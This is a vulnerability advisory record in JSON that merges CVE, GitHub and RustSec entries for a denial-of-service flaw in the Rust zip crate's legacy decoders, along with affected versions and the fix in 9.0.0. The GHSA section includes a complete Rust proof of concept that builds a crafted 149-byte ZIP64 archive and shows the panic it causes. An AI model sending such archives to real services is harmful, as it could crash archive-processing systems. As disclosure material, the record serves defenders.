{"id":"CVE-2026-115907","aliases":["CVE-2026-115907","GHSA-9hj8-73fh-9963","RUSTSEC-2026-0547"],"related":[],"kind":"vulnerability","state":"published","title":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","summary":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process.\n\n### Details\n\nWhen reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:\n\n```rust\nif !self.stream_read {\n    self.stream_read = true;\n    let mut compressed_bytes = Vec::new();\n    self.compressed_reader.read_to_end(&mut compressed_bytes)?;\n    self.stream.reserve(self.uncompressed_size as usize);\n    hwunshrink(\n        &compressed_bytes,\n        self.uncompressed_size as usize,\n        &mut self.stream,\n    )?;\n}\n```\n\nIn version 8.6.0, this is located in [`src/legacy/shrink.rs`](https://github.com/zip-rs/zip2/blob/771dfc534d2614158af5497ea3dff4d4208d7db1/src/legacy/shrink.rs#L341-L352). The vulnerable legacy codecs are compiled when the `legacy-zip` Cargo feature is enabled.\n\n`self.uncompressed_size` is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of `u64::MAX`, while supplying only one byte of compressed data.\n\nThe reserve occurs before `hwunshrink()` can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic `capacity overflow` panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through `ZipArchive::extract()`.\n\nThe same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.\n\n### PoC\n\nCreate a new Cargo project with the following layout:\n\n```text\nzip2-legacy-poc/\n|-- Cargo.toml\n`-- src/\n    `-- main.rs\n```\n\nUse this `Cargo.toml`:\n\n```toml\n[package]\nname = \"zip2-legacy-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\npublish = false\n\n[dependencies]\ntempfile = \"3\"\nzip = { version = \"=8.6.0\", features = [\"legacy-zip\"] }\n```\n\nUse this `src/main.rs`:\n\n```rust\nuse std::fs::File;\nuse std::io::{Cursor, Write};\n\nfn push16(out: &mut Vec<u8>, value: u16) {\n    out.extend_from_slice(&value.to_le_bytes());\n}\n\nfn push32(out: &mut Vec<u8>, value: u32) {\n    out.extend_from_slice(&value.to_le_bytes());\n}\n\nfn push64(out: &mut Vec<u8>, value: u64) {\n    out.extend_from_slice(&value.to_le_bytes());\n}\n\nfn zip64_extra() -> Vec<u8> {\n    let mut extra = Vec::new();\n    push16(&mut extra, 0x0001);\n    push16(&mut extra, 16);\n    push64(&mut extra, u64::MAX);\n    push64(&mut extra, 1);\n    extra\n}\n\nfn archive() -> Vec<u8> {\n    let name = b\"entry\";\n    let extra = zip64_extra();\n    let mut out = Vec::new();\n\n    push32(&mut out, 0x0403_4b50);\n    push16(&mut out, 45);\n    push16(&mut out, 0);\n    push16(&mut out, 1); // Shrink compression.\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push32(&mut out, 0);\n    push32(&mut out, u32::MAX);\n    push32(&mut out, u32::MAX);\n    push16(&mut out, name.len() as u16);\n    push16(&mut out, extra.len() as u16);\n    out.extend_from_slice(name);\n    out.extend_from_slice(&extra);\n    out.push(0);\n\n    let central_start = out.len() as u32;\n\n    push32(&mut out, 0x0201_4b50);\n    push16(&mut out, 45);\n    push16(&mut out, 45);\n    push16(&mut out, 0);\n    push16(&mut out, 1); // Shrink compression.\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push32(&mut out, 0);\n    push32(&mut out, u32::MAX);\n    push32(&mut out, u32::MAX);\n    push16(&mut out, name.len() as u16);\n    push16(&mut out, extra.len() as u16);\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push32(&mut out, 0);\n    push32(&mut out, 0);\n    out.extend_from_slice(name);\n    out.extend_from_slice(&extra);\n\n    let central_size = out.len() as u32 - central_start;\n\n    push32(&mut out, 0x0605_4b50);\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push16(&mut out, 1);\n    push16(&mut out, 1);\n    push32(&mut out, central_size);\n    push32(&mut out, central_start);\n    push16(&mut out, 0);\n    out\n}\n\nfn main() -> Result<(), Box<dyn std::error::Error>> {\n    let bytes = archive();\n    File::create(\"poc.zip\")?.write_all(&bytes)?;\n\n    let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;\n    let entry = archive.by_index(0)?;\n\n    println!(\n        \"method={:?} declared_size={}\",\n        entry.compression(),\n        entry.size()\n    );\n\n    drop(entry);\n\n    let output = tempfile::tempdir()?;\n    archive.extract(output.path())?;\n    Ok(())\n}\n```\n\nRun the reproducer in release mode:\n\n```sh\ncd zip2-legacy-poc\nRUST_BACKTRACE=1 cargo run --release\n```\n\nObserved output with `zip` 8.6.0 on `x86_64-unknown-linux-gnu`:\n\n```text\nmethod=Shrink declared_size=18446744073709551615\n\nthread 'main' panicked at .../alloc/src/raw_vec/mod.rs:\ncapacity overflow\n```\n\nThe backtrace reaches the Shrink decompressor through `std::io::copy` and `ZipArchive::extract_internal()`. The process exits with status 101. The program also writes the generated 149-byte archive to `poc.zip` before triggering extraction.\n\n### Impact\n\nApplications that enable `legacy-zip` and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.\n\n- `zip::read::ZipArchive::extract`","format":"markdown","source":"ghsa"},{"lang":"en","text":"With the `legacy-zip` feature, the decoders for the Shrink, Reduce and Implode compression methods reserved output capacity for the entry's declared uncompressed size before decoding anything. That size comes from the archive, and a ZIP64 entry can declare any 64-bit value, so reading or extracting a crafted entry of a few bytes panics with \"capacity overflow\" or fails a huge allocation.\n\nAn attacker who can supply an archive can stop a process that reads it, for example through `ZipArchive::extract`.\n\nOnly builds with the `legacy-zip` feature are affected; it is not enabled by default.\n\nThe fix caps the preallocation at 1 MiB, and such an entry now returns an error.","format":"markdown","source":"rustsec"}],"published":"2026-10-22T12:00:00.000Z","modified":"2026-11-17T10:26:14.175Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"RustSec Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-400","CWE-789"],"affected":[{"ranges":[{"version":">= 5.1.0, < 9.0.0","status":"affected"}],"vendor":"zip-rs","product":"zip2","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"5.1.0","status":"affected","fixed":"9.0.0"}],"ecosystem":"crates.io","package":"zip","purl":"pkg:cargo/zip","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"5.1.0","status":"affected","fixed":"9.0.0"}],"ecosystem":"crates.io","package":"zip","purl":"pkg:cargo/zip","source":"rustsec"}],"references":[{"url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/zip-rs/zip2/pull/991","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","rustsec","nvd"]},{"url":"https://github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/zip-rs/zip2/releases/tag/v9.0.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115907","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/zip-rs/zip2","tags":["package"],"sources":["ghsa"]},{"url":"https://crates.io/crates/zip","tags":["package"],"sources":["rustsec"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2026-0547.html","tags":["advisory"],"sources":["rustsec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-10-30T14:13:42.538Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-115907","url":"https://www.cve.org/CVERecord?id=CVE-2026-115907","licence":"CVE Terms of Use","modified":"2026-10-30T14:13:49.386Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9hj8-73fh-9963","url":"https://github.com/advisories/GHSA-9hj8-73fh-9963","licence":"CC-BY-4.0","modified":"2026-11-17T10:26:14.175Z"},{"source":"rustsec","name":"RustSec Advisory Database","id":"RUSTSEC-2026-0547","url":"https://rustsec.org/advisories/RUSTSEC-2026-0547.html","licence":"CC0-1.0","modified":"2026-11-17T10:15:03.059Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-115907","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115907","licence":"Public domain","modified":"2026-10-30T15:16:45.727Z"}],"updatedAt":"2026-11-25T22:59:47.158Z","epss":{"score":0.0055,"percentile":0.47424,"date":"2026-12-01T12:00:22.000Z"}}